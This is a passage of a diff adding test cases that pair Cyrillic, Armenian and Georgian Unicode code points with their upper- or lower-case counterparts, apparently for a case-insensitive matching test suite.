+test(0x04BC, 0x04BD); // CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK), CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK)
+test(0x04BD, 0x04BC); // CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK), CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK)
+test(0x04BE, 0x04BF); // CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK), CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK)
+test(0x04BF, 0x04BE); // CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK), CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK)
+test(0x04C0, 0x04CF); // CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I), CYRILLIC SMALL LETTER PALOCHKA
+test(0x04C1, 0x04C2); // CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE), CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE)
+test(0x04C2, 0x04C1); // CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE), CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE)
+test(0x04C3, 0x04C4); // CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK), CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK)
+test(0x04C4, 0x04C3); // CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK), CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK)
+test(0x04C5, 0x04C6); // CYRILLIC CAPITAL LETTER EL WITH TAIL, CYRILLIC SMALL LETTER EL WITH TAIL
+test(0x04C6, 0x04C5); // CYRILLIC SMALL LETTER EL WITH TAIL, CYRILLIC CAPITAL LETTER EL WITH TAIL
+test(0x04C7, 0x04C8); // CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK), CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK)
+test(0x04C8, 0x04C7); // CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK), CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK)
+test(0x04C9, 0x04CA); // CYRILLIC CAPITAL LETTER EN WITH TAIL, CYRILLIC SMALL LETTER EN WITH TAIL
+test(0x04CA, 0x04C9); // CYRILLIC SMALL LETTER EN WITH TAIL, CYRILLIC CAPITAL LETTER EN WITH TAIL
+test(0x04CB, 0x04CC); // CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER), CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER)
+test(0x04CC, 0x04CB); // CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER), CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER)
+test(0x04CD, 0x04CE); // CYRILLIC CAPITAL LETTER EM WITH TAIL, CYRILLIC SMALL LETTER EM WITH TAIL
+test(0x04CE, 0x04CD); // CYRILLIC SMALL LETTER EM WITH TAIL, CYRILLIC CAPITAL LETTER EM WITH TAIL
+test(0x04CF, 0x04C0); // CYRILLIC SMALL LETTER PALOCHKA, CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I)
+test(0x04D0, 0x04D1); // CYRILLIC CAPITAL LETTER A WITH BREVE, CYRILLIC SMALL LETTER A WITH BREVE
+test(0x04D1, 0x04D0); // CYRILLIC SMALL LETTER A WITH BREVE, CYRILLIC CAPITAL LETTER A WITH BREVE
+test(0x04D2, 0x04D3); // CYRILLIC CAPITAL LETTER A WITH DIAERESIS, CYRILLIC SMALL LETTER A WITH DIAERESIS
+test(0x04D3, 0x04D2); // CYRILLIC SMALL LETTER A WITH DIAERESIS, CYRILLIC CAPITAL LETTER A WITH DIAERESIS
+test(0x04D4, 0x04D5); // CYRILLIC CAPITAL LIGATURE A IE, CYRILLIC SMALL LIGATURE A IE
+test(0x04D5, 0x04D4); // CYRILLIC SMALL LIGATURE A IE, CYRILLIC CAPITAL LIGATURE A IE
+test(0x04D6, 0x04D7); // CYRILLIC CAPITAL LETTER IE WITH BREVE, CYRILLIC SMALL LETTER IE WITH BREVE
+test(0x04D7, 0x04D6); // CYRILLIC SMALL LETTER IE WITH BREVE, CYRILLIC CAPITAL LETTER IE WITH BREVE
+test(0x04D8, 0x04D9); // CYRILLIC CAPITAL LETTER SCHWA, CYRILLIC SMALL LETTER SCHWA
+test(0x04D9, 0x04D8); // CYRILLIC SMALL LETTER SCHWA, CYRILLIC CAPITAL LETTER SCHWA
+test(0x04DA, 0x04DB); // CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS, CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
+test(0x04DB, 0x04DA); // CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS, CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
+test(0x04DC, 0x04DD); // CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS, CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
+test(0x04DD, 0x04DC); // CYRILLIC SMALL LETTER ZHE WITH DIAERESIS, CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
+test(0x04DE, 0x04DF); // CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS, CYRILLIC SMALL LETTER ZE WITH DIAERESIS
+test(0x04DF, 0x04DE); // CYRILLIC SMALL LETTER ZE WITH DIAERESIS, CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
+test(0x04E0, 0x04E1); // CYRILLIC CAPITAL LETTER ABKHASIAN DZE, CYRILLIC SMALL LETTER ABKHASIAN DZE
+test(0x04E1, 0x04E0); // CYRILLIC SMALL LETTER ABKHASIAN DZE, CYRILLIC CAPITAL LETTER ABKHASIAN DZE
+test(0x04E2, 0x04E3); // CYRILLIC CAPITAL LETTER I WITH MACRON, CYRILLIC SMALL LETTER I WITH MACRON
+test(0x04E3, 0x04E2); // CYRILLIC SMALL LETTER I WITH MACRON, CYRILLIC CAPITAL LETTER I WITH MACRON
+test(0x04E4, 0x04E5); // CYRILLIC CAPITAL LETTER I WITH DIAERESIS, CYRILLIC SMALL LETTER I WITH DIAERESIS
+test(0x04E5, 0x04E4); // CYRILLIC SMALL LETTER I WITH DIAERESIS, CYRILLIC CAPITAL LETTER I WITH DIAERESIS
+test(0x04E6, 0x04E7); // CYRILLIC CAPITAL LETTER O WITH DIAERESIS, CYRILLIC SMALL LETTER O WITH DIAERESIS
+test(0x04E7, 0x04E6); // CYRILLIC SMALL LETTER O WITH DIAERESIS, CYRILLIC CAPITAL LETTER O WITH DIAERESIS
+test(0x04E8, 0x04E9); // CYRILLIC CAPITAL LETTER BARRED O, CYRILLIC SMALL LETTER BARRED O
+test(0x04E9, 0x04E8); // CYRILLIC SMALL LETTER BARRED O, CYRILLIC CAPITAL LETTER BARRED O
+test(0x04EA, 0x04EB); // CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS, CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
+test(0x04EB, 0x04EA); // CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS, CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
+test(0x04EC, 0x04ED); // CYRILLIC CAPITAL LETTER E WITH DIAERESIS, CYRILLIC SMALL LETTER E WITH DIAERESIS
+test(0x04ED, 0x04EC); // CYRILLIC SMALL LETTER E WITH DIAERESIS, CYRILLIC CAPITAL LETTER E WITH DIAERESIS
+test(0x04EE, 0x04EF); // CYRILLIC CAPITAL LETTER U WITH MACRON, CYRILLIC SMALL LETTER U WITH MACRON
+test(0x04EF, 0x04EE); // CYRILLIC SMALL LETTER U WITH MACRON, CYRILLIC CAPITAL LETTER U WITH MACRON
+test(0x04F0, 0x04F1); // CYRILLIC CAPITAL LETTER U WITH DIAERESIS, CYRILLIC SMALL LETTER U WITH DIAERESIS
+test(0x04F1, 0x04F0); // CYRILLIC SMALL LETTER U WITH DIAERESIS, CYRILLIC CAPITAL LETTER U WITH DIAERESIS
+test(0x04F2, 0x04F3); // CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE, CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE
+test(0x04F3, 0x04F2); // CYRILLIC SMALL LETTER U WITH DOUBLE ACUTE, CYRILLIC CAPITAL LETTER U WITH DOUBLE ACUTE
+test(0x04F4, 0x04F5); // CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS, CYRILLIC SMALL LETTER CHE WITH DIAERESIS
+test(0x04F5, 0x04F4); // CYRILLIC SMALL LETTER CHE WITH DIAERESIS, CYRILLIC CAPITAL LETTER CHE WITH DIAERESIS
+test(0x04F6, 0x04F7); // CYRILLIC CAPITAL LETTER GHE WITH DESCENDER, CYRILLIC SMALL LETTER GHE WITH DESCENDER
+test(0x04F7, 0x04F6); // CYRILLIC SMALL LETTER GHE WITH DESCENDER, CYRILLIC CAPITAL LETTER GHE WITH DESCENDER
+test(0x04F8, 0x04F9); // CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS, CYRILLIC SMALL LETTER YERU WITH DIAERESIS
+test(0x04F9, 0x04F8); // CYRILLIC SMALL LETTER YERU WITH DIAERESIS, CYRILLIC CAPITAL LETTER YERU WITH DIAERESIS
+test(0x04FA, 0x04FB); // CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK, CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK
+test(0x04FB, 0x04FA); // CYRILLIC SMALL LETTER GHE WITH STROKE AND HOOK, CYRILLIC CAPITAL LETTER GHE WITH STROKE AND HOOK
+test(0x04FC, 0x04FD); // CYRILLIC CAPITAL LETTER HA WITH HOOK, CYRILLIC SMALL LETTER HA WITH HOOK
+test(0x04FD, 0x04FC); // CYRILLIC SMALL LETTER HA WITH HOOK, CYRILLIC CAPITAL LETTER HA WITH HOOK
+test(0x04FE, 0x04FF); // CYRILLIC CAPITAL LETTER HA WITH STROKE, CYRILLIC SMALL LETTER HA WITH STROKE
+test(0x04FF, 0x04FE); // CYRILLIC SMALL LETTER HA WITH STROKE, CYRILLIC CAPITAL LETTER HA WITH STROKE
+test(0x0500, 0x0501); // CYRILLIC CAPITAL LETTER KOMI DE, CYRILLIC SMALL LETTER KOMI DE
+test(0x0501, 0x0500); // CYRILLIC SMALL LETTER KOMI DE, CYRILLIC CAPITAL LETTER KOMI DE
+test(0x0502, 0x0503); // CYRILLIC CAPITAL LETTER KOMI DJE, CYRILLIC SMALL LETTER KOMI DJE
+test(0x0503, 0x0502); // CYRILLIC SMALL LETTER KOMI DJE, CYRILLIC CAPITAL LETTER KOMI DJE
+test(0x0504, 0x0505); // CYRILLIC CAPITAL LETTER KOMI ZJE, CYRILLIC SMALL LETTER KOMI ZJE
+test(0x0505, 0x0504); // CYRILLIC SMALL LETTER KOMI ZJE, CYRILLIC CAPITAL LETTER KOMI ZJE
+test(0x0506, 0x0507); // CYRILLIC CAPITAL LETTER KOMI DZJE, CYRILLIC SMALL LETTER KOMI DZJE
+test(0x0507, 0x0506); // CYRILLIC SMALL LETTER KOMI DZJE, CYRILLIC CAPITAL LETTER KOMI DZJE
+test(0x0508, 0x0509); // CYRILLIC CAPITAL LETTER KOMI LJE, CYRILLIC SMALL LETTER KOMI LJE
+test(0x0509, 0x0508); // CYRILLIC SMALL LETTER KOMI LJE, CYRILLIC CAPITAL LETTER KOMI LJE
+test(0x050A, 0x050B); // CYRILLIC CAPITAL LETTER KOMI NJE, CYRILLIC SMALL LETTER KOMI NJE
+test(0x050B, 0x050A); // CYRILLIC SMALL LETTER KOMI NJE, CYRILLIC CAPITAL LETTER KOMI NJE
+test(0x050C, 0x050D); // CYRILLIC CAPITAL LETTER KOMI SJE, CYRILLIC SMALL LETTER KOMI SJE
+test(0x050D, 0x050C); // CYRILLIC SMALL LETTER KOMI SJE, CYRILLIC CAPITAL LETTER KOMI SJE
+test(0x050E, 0x050F); // CYRILLIC CAPITAL LETTER KOMI TJE, CYRILLIC SMALL LETTER KOMI TJE
+test(0x050F, 0x050E); // CYRILLIC SMALL LETTER KOMI TJE, CYRILLIC CAPITAL LETTER KOMI TJE
+test(0x0510, 0x0511); // CYRILLIC CAPITAL LETTER REVERSED ZE, CYRILLIC SMALL LETTER REVERSED ZE
+test(0x0511, 0x0510); // CYRILLIC SMALL LETTER REVERSED ZE, CYRILLIC CAPITAL LETTER REVERSED ZE
+test(0x0512, 0x0513); // CYRILLIC CAPITAL LETTER EL WITH HOOK, CYRILLIC SMALL LETTER EL WITH HOOK
+test(0x0513, 0x0512); // CYRILLIC SMALL LETTER EL WITH HOOK, CYRILLIC CAPITAL LETTER EL WITH HOOK
+test(0x0514, 0x0515); // CYRILLIC CAPITAL LETTER LHA, CYRILLIC SMALL LETTER LHA
+test(0x0515, 0x0514); // CYRILLIC SMALL LETTER LHA, CYRILLIC CAPITAL LETTER LHA
+test(0x0516, 0x0517); // CYRILLIC CAPITAL LETTER RHA, CYRILLIC SMALL LETTER RHA
+test(0x0517, 0x0516); // CYRILLIC SMALL LETTER RHA, CYRILLIC CAPITAL LETTER RHA
+test(0x0518, 0x0519); // CYRILLIC CAPITAL LETTER YAE, CYRILLIC SMALL LETTER YAE
+test(0x0519, 0x0518); // CYRILLIC SMALL LETTER YAE, CYRILLIC CAPITAL LETTER YAE
+test(0x051A, 0x051B); // CYRILLIC CAPITAL LETTER QA, CYRILLIC SMALL LETTER QA
+test(0x051B, 0x051A); // CYRILLIC SMALL LETTER QA, CYRILLIC CAPITAL LETTER QA
+test(0x051C, 0x051D); // CYRILLIC CAPITAL LETTER WE, CYRILLIC SMALL LETTER WE
+test(0x051D, 0x051C); // CYRILLIC SMALL LETTER WE, CYRILLIC CAPITAL LETTER WE
+test(0x051E, 0x051F); // CYRILLIC CAPITAL LETTER ALEUT KA, CYRILLIC SMALL LETTER ALEUT KA
+test(0x051F, 0x051E); // CYRILLIC SMALL LETTER ALEUT KA, CYRILLIC CAPITAL LETTER ALEUT KA
+test(0x0520, 0x0521); // CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK, CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK
+test(0x0521, 0x0520); // CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK
+test(0x0522, 0x0523); // CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK, CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK
+test(0x0523, 0x0522); // CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK, CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK
+test(0x0524, 0x0525); // CYRILLIC CAPITAL LETTER PE WITH DESCENDER, CYRILLIC SMALL LETTER PE WITH DESCENDER
+test(0x0525, 0x0524); // CYRILLIC SMALL LETTER PE WITH DESCENDER, CYRILLIC CAPITAL LETTER PE WITH DESCENDER
+test(0x0526, 0x0527); // CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER, CYRILLIC SMALL LETTER SHHA WITH DESCENDER
+test(0x0527, 0x0526); // CYRILLIC SMALL LETTER SHHA WITH DESCENDER, CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER
+test(0x0528, 0x0529); // CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK, CYRILLIC SMALL LETTER EN WITH LEFT HOOK
+test(0x0529, 0x0528); // CYRILLIC SMALL LETTER EN WITH LEFT HOOK, CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK
+test(0x052A, 0x052B); // CYRILLIC CAPITAL LETTER DZZHE, CYRILLIC SMALL LETTER DZZHE
+test(0x052B, 0x052A); // CYRILLIC SMALL LETTER DZZHE, CYRILLIC CAPITAL LETTER DZZHE
+test(0x052C, 0x052D); // CYRILLIC CAPITAL LETTER DCHE, CYRILLIC SMALL LETTER DCHE
+test(0x052D, 0x052C); // CYRILLIC SMALL LETTER DCHE, CYRILLIC CAPITAL LETTER DCHE
+test(0x052E, 0x052F); // CYRILLIC CAPITAL LETTER EL WITH DESCENDER, CYRILLIC SMALL LETTER EL WITH DESCENDER
+test(0x052F, 0x052E); // CYRILLIC SMALL LETTER EL WITH DESCENDER, CYRILLIC CAPITAL LETTER EL WITH DESCENDER
+test(0x0531, 0x0561); // ARMENIAN CAPITAL LETTER AYB, ARMENIAN SMALL LETTER AYB
+test(0x0532, 0x0562); // ARMENIAN CAPITAL LETTER BEN, ARMENIAN SMALL LETTER BEN
+test(0x0533, 0x0563); // ARMENIAN CAPITAL LETTER GIM, ARMENIAN SMALL LETTER GIM
+test(0x0534, 0x0564); // ARMENIAN CAPITAL LETTER DA, ARMENIAN SMALL LETTER DA
+test(0x0535, 0x0565); // ARMENIAN CAPITAL LETTER ECH, ARMENIAN SMALL LETTER ECH
+test(0x0536, 0x0566); // ARMENIAN CAPITAL LETTER ZA, ARMENIAN SMALL LETTER ZA
+test(0x0537, 0x0567); // ARMENIAN CAPITAL LETTER EH, ARMENIAN SMALL LETTER EH
+test(0x0538, 0x0568); // ARMENIAN CAPITAL LETTER ET, ARMENIAN SMALL LETTER ET
+test(0x0539, 0x0569); // ARMENIAN CAPITAL LETTER TO, ARMENIAN SMALL LETTER TO
+test(0x053A, 0x056A); // ARMENIAN CAPITAL LETTER ZHE, ARMENIAN SMALL LETTER ZHE
+test(0x053B, 0x056B); // ARMENIAN CAPITAL LETTER INI, ARMENIAN SMALL LETTER INI
+test(0x053C, 0x056C); // ARMENIAN CAPITAL LETTER LIWN, ARMENIAN SMALL LETTER LIWN
+test(0x053D, 0x056D); // ARMENIAN CAPITAL LETTER XEH, ARMENIAN SMALL LETTER XEH
+test(0x053E, 0x056E); // ARMENIAN CAPITAL LETTER CA, ARMENIAN SMALL LETTER CA
+test(0x053F, 0x056F); // ARMENIAN CAPITAL LETTER KEN, ARMENIAN SMALL LETTER KEN
+test(0x0540, 0x0570); // ARMENIAN CAPITAL LETTER HO, ARMENIAN SMALL LETTER HO
+test(0x0541, 0x0571); // ARMENIAN CAPITAL LETTER JA, ARMENIAN SMALL LETTER JA
+test(0x0542, 0x0572); // ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD), ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD)
+test(0x0543, 0x0573); // ARMENIAN CAPITAL LETTER CHEH, ARMENIAN SMALL LETTER CHEH
+test(0x0544, 0x0574); // ARMENIAN CAPITAL LETTER MEN, ARMENIAN SMALL LETTER MEN
+test(0x0545, 0x0575); // ARMENIAN CAPITAL LETTER YI, ARMENIAN SMALL LETTER YI
+test(0x0546, 0x0576); // ARMENIAN CAPITAL LETTER NOW, ARMENIAN SMALL LETTER NOW
+test(0x0547, 0x0577); // ARMENIAN CAPITAL LETTER SHA, ARMENIAN SMALL LETTER SHA
+test(0x0548, 0x0578); // ARMENIAN CAPITAL LETTER VO, ARMENIAN SMALL LETTER VO
+test(0x0549, 0x0579); // ARMENIAN CAPITAL LETTER CHA, ARMENIAN SMALL LETTER CHA
+test(0x054A, 0x057A); // ARMENIAN CAPITAL LETTER PEH, ARMENIAN SMALL LETTER PEH
+test(0x054B, 0x057B); // ARMENIAN CAPITAL LETTER JHEH, ARMENIAN SMALL LETTER JHEH
+test(0x054C, 0x057C); // ARMENIAN CAPITAL LETTER RA, ARMENIAN SMALL LETTER RA
+test(0x054D, 0x057D); // ARMENIAN CAPITAL LETTER SEH, ARMENIAN SMALL LETTER SEH
+test(0x054E, 0x057E); // ARMENIAN CAPITAL LETTER VEW, ARMENIAN SMALL LETTER VEW
+test(0x054F, 0x057F); // ARMENIAN CAPITAL LETTER TIWN, ARMENIAN SMALL LETTER TIWN
+test(0x0550, 0x0580); // ARMENIAN CAPITAL LETTER REH, ARMENIAN SMALL LETTER REH
+test(0x0551, 0x0581); // ARMENIAN CAPITAL LETTER CO, ARMENIAN SMALL LETTER CO
+test(0x0552, 0x0582); // ARMENIAN CAPITAL LETTER YIWN, ARMENIAN SMALL LETTER YIWN
+test(0x0553, 0x0583); // ARMENIAN CAPITAL LETTER PIWR, ARMENIAN SMALL LETTER PIWR
+test(0x0554, 0x0584); // ARMENIAN CAPITAL LETTER KEH, ARMENIAN SMALL LETTER KEH
+test(0x0555, 0x0585); // ARMENIAN CAPITAL LETTER OH, ARMENIAN SMALL LETTER OH
+test(0x0556, 0x0586); // ARMENIAN CAPITAL LETTER FEH, ARMENIAN SMALL LETTER FEH
+test(0x0561, 0x0531); // ARMENIAN SMALL LETTER AYB, ARMENIAN CAPITAL LETTER AYB
+test(0x0562, 0x0532); // ARMENIAN SMALL LETTER BEN, ARMENIAN CAPITAL LETTER BEN
+test(0x0563, 0x0533); // ARMENIAN SMALL LETTER GIM, ARMENIAN CAPITAL LETTER GIM
+test(0x0564, 0x0534); // ARMENIAN SMALL LETTER DA, ARMENIAN CAPITAL LETTER DA
+test(0x0565, 0x0535); // ARMENIAN SMALL LETTER ECH, ARMENIAN CAPITAL LETTER ECH
+test(0x0566, 0x0536); // ARMENIAN SMALL LETTER ZA, ARMENIAN CAPITAL LETTER ZA
+test(0x0567, 0x0537); // ARMENIAN SMALL LETTER EH, ARMENIAN CAPITAL LETTER EH
+test(0x0568, 0x0538); // ARMENIAN SMALL LETTER ET, ARMENIAN CAPITAL LETTER ET
+test(0x0569, 0x0539); // ARMENIAN SMALL LETTER TO, ARMENIAN CAPITAL LETTER TO
+test(0x056A, 0x053A); // ARMENIAN SMALL LETTER ZHE, ARMENIAN CAPITAL LETTER ZHE
+test(0x056B, 0x053B); // ARMENIAN SMALL LETTER INI, ARMENIAN CAPITAL LETTER INI
+test(0x056C, 0x053C); // ARMENIAN SMALL LETTER LIWN, ARMENIAN CAPITAL LETTER LIWN
+test(0x056D, 0x053D); // ARMENIAN SMALL LETTER XEH, ARMENIAN CAPITAL LETTER XEH
+test(0x056E, 0x053E); // ARMENIAN SMALL LETTER CA, ARMENIAN CAPITAL LETTER CA
+test(0x056F, 0x053F); // ARMENIAN SMALL LETTER KEN, ARMENIAN CAPITAL LETTER KEN
+test(0x0570, 0x0540); // ARMENIAN SMALL LETTER HO, ARMENIAN CAPITAL LETTER HO
+test(0x0571, 0x0541); // ARMENIAN SMALL LETTER JA, ARMENIAN CAPITAL LETTER JA
+test(0x0572, 0x0542); // ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD), ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD)
+test(0x0573, 0x0543); // ARMENIAN SMALL LETTER CHEH, ARMENIAN CAPITAL LETTER CHEH
+test(0x0574, 0x0544); // ARMENIAN SMALL LETTER MEN, ARMENIAN CAPITAL LETTER MEN
+test(0x0575, 0x0545); // ARMENIAN SMALL LETTER YI, ARMENIAN CAPITAL LETTER YI
+test(0x0576, 0x0546); // ARMENIAN SMALL LETTER NOW, ARMENIAN CAPITAL LETTER NOW
+test(0x0577, 0x0547); // ARMENIAN SMALL LETTER SHA, ARMENIAN CAPITAL LETTER SHA
+test(0x0578, 0x0548); // ARMENIAN SMALL LETTER VO, ARMENIAN CAPITAL LETTER VO
+test(0x0579, 0x0549); // ARMENIAN SMALL LETTER CHA, ARMENIAN CAPITAL LETTER CHA
+test(0x057A, 0x054A); // ARMENIAN SMALL LETTER PEH, ARMENIAN CAPITAL LETTER PEH
+test(0x057B, 0x054B); // ARMENIAN SMALL LETTER JHEH, ARMENIAN CAPITAL LETTER JHEH
+test(0x057C, 0x054C); // ARMENIAN SMALL LETTER RA, ARMENIAN CAPITAL LETTER RA
+test(0x057D, 0x054D); // ARMENIAN SMALL LETTER SEH, ARMENIAN CAPITAL LETTER SEH
+test(0x057E, 0x054E); // ARMENIAN SMALL LETTER VEW, ARMENIAN CAPITAL LETTER VEW
+test(0x057F, 0x054F); // ARMENIAN SMALL LETTER TIWN, ARMENIAN CAPITAL LETTER TIWN
+test(0x0580, 0x0550); // ARMENIAN SMALL LETTER REH, ARMENIAN CAPITAL LETTER REH
+test(0x0581, 0x0551); // ARMENIAN SMALL LETTER CO, ARMENIAN CAPITAL LETTER CO
+test(0x0582, 0x0552); // ARMENIAN SMALL LETTER YIWN, ARMENIAN CAPITAL LETTER YIWN
+test(0x0583, 0x0553); // ARMENIAN SMALL LETTER PIWR, ARMENIAN CAPITAL LETTER PIWR
+test(0x0584, 0x0554); // ARMENIAN SMALL LETTER KEH, ARMENIAN CAPITAL LETTER KEH
+test(0x0585, 0x0555); // ARMENIAN SMALL LETTER OH, ARMENIAN CAPITAL LETTER OH
+test(0x0586, 0x0556); // ARMENIAN SMALL LETTER FEH, ARMENIAN CAPITAL LETTER FEH
+test(0x10A0, 0x2D00); // GEORGIAN CAPITAL LETTER AN, GEORGIAN SMALL LETTER AN
+test(0x10A1, 0x2D01); // GEORGIAN CAPITAL LETTER BAN, GEORGIAN SMALL LETTER BAN
+test(0x10A2, 0x2D02); // GEORGIAN CAPITAL LETTER GAN, GEORGIAN SMALL LETTER GAN
+test(0x10A3, 0x2D03); // GEORGIAN CAPITAL LETTER DON, GEORGIAN SMALL LETTER DON
+test(0x10A4, 0x2D04); // GEORGIAN CAPITAL LETTER EN, GEORGIAN SMALL LETTER EN
+test(0x10A5, 0x2D05); // GEORGIAN CAPITAL LETTER VIN, GEORGIAN SMALL LETTER VIN
+test(0x10A6, 0x2D06); // GEORGIAN CAPITAL LETTER ZEN, GEORGIAN SMALL LETTER ZEN
+test(0x10A7, 0x2D07); // GEORGIAN CAPITAL LETTER TAN, GEORGIAN SMALL LETTER TAN
+test(0x10A8, 0x2D08); // GEORGIAN CAPITAL LETTER IN, GEORGIAN SMALL LETTER IN
+test(0x10A9, 0x2D09); // GEORGIAN CAPITAL LETTER KAN, GEORGIAN SMALL LETTER KAN
+test(0x10AA, 0x2D0A); // GEORGIAN CAPITAL LETTER LAS, GEORGIAN SMALL LETTER LAS
+test(0x10AB, 0x2D0B); // GEORGIAN CAPITAL LETTER MAN, GEORGIAN SMALL LETTER MAN
+test(0x10AC, 0x2D0C); // GEORGIAN CAPITAL LETTER NAR, GEORGIAN SMALL LETTER NAR
+test(0x10AD, 0x2D0D); // GEORGIAN CAPITAL LETTER ON, GEORGIAN SMALL LETTER ON
+test(0x10AE, 0x2D0E); // GEORGIAN CAPITAL LETTER PAR, GEORGIAN SMALL LETTER PAR
+test(0x10AF, 0x2D0F); // GEORGIAN CAPITAL LETTER ZHAR, GEORGIAN SMALL LETTER ZHAR
+test(0x10B0, 0x2D10); // GEORGIAN CAPITAL LETTER RAE, GEORGIAN SMALL LETTER RAE
+test(0x10B1, 0x2D11); // GEORGIAN CAPITAL LETTER SAN, GEORGIAN SMALL LETTER SAN
+test(0x10B2, 0x2D12); // GEORGIAN CAPITAL LETTER TAR, GEORGIAN SMALL LETTER TAR
+test(0x10B3, 0x2D13); // GEORGIAN CAPITAL LETTER UN, GEORGIAN SMALL LETTER UN
+test(0x10B4, 0x2D14); // GEORGIAN CAPITAL LETTER PHAR, GEORGIAN SMALL LETTER PHAR
+test(0x10B5, 0x2D15); // GEORGIAN CAPITAL LETTER KHAR, GEORGIAN SMALL LETTER KHAR
+test(0x10B6, 0x2D16); // GEORGIAN CAPITAL LETTER GHAN, GEORGIAN SMALL LETTER GHAN
+test(0x10B7, 0x2D17); // GEORGIAN CAPITAL LETTER QAR, GEORGIAN SMALL LETTER QAR
+test(0x10B8, 0x2D18); // GEORGIAN CAPITAL LETTER SHIN, GEORGIAN SMALL LETTER SHIN
+test(0x10B9, 0x2D19); // GEORGIAN CAPITAL LETTER CHIN, GEORGIAN SMALL LETTER CHIN
+test(0x10BA, 0x2D1A); // GEORGIAN CAPITAL LETTER CAN, GEORGIAN SMALL LETTER CAN
+test(0x10BB, 0x2D1B); // GEORGIAN CAPITAL LETTER JIL, GEORGIAN SMALL LETTER JIL
+test(0x10BC, 0x2D1C); // GEORGIAN CAPITAL LETTER CIL, GEORGIAN SMALL LETTER CIL
+test(0x10BD, 0x2D1D); // GEORGIAN CAPITAL LETTER CHAR, GEORGIAN SMALL LETTER CHAR
+test(0x10BE, 0x2D1E); // GEORGIAN CAPITAL LETTER XAN, GEORGIAN SMALL LETTER XAN
+test(0x10BF, 0x2D1F); // GEORGIAN CAPITAL LETTER JHAN, GEORGIAN SMALL LETTER JHAN
+test(0x10C0, 0x2D20); // GEORGIAN CAPITAL LETTER HAE, GEORGIAN SMALL LETTER HAE
+test(0x10C1, 0x2D21); // GEORGIAN CAPITAL LETTER HE, GEORGIAN SMALL LETTER HE
+test(0x10C2, 0x2D22); // GEORGIAN CAPITAL LETTER HIE, GEORGIAN SMALL LETTER HIE
+test(0x10C3, 0x2D23); // GEORGIAN CAPITAL LETTER WE, GEORGIAN SMALL LETTER WE
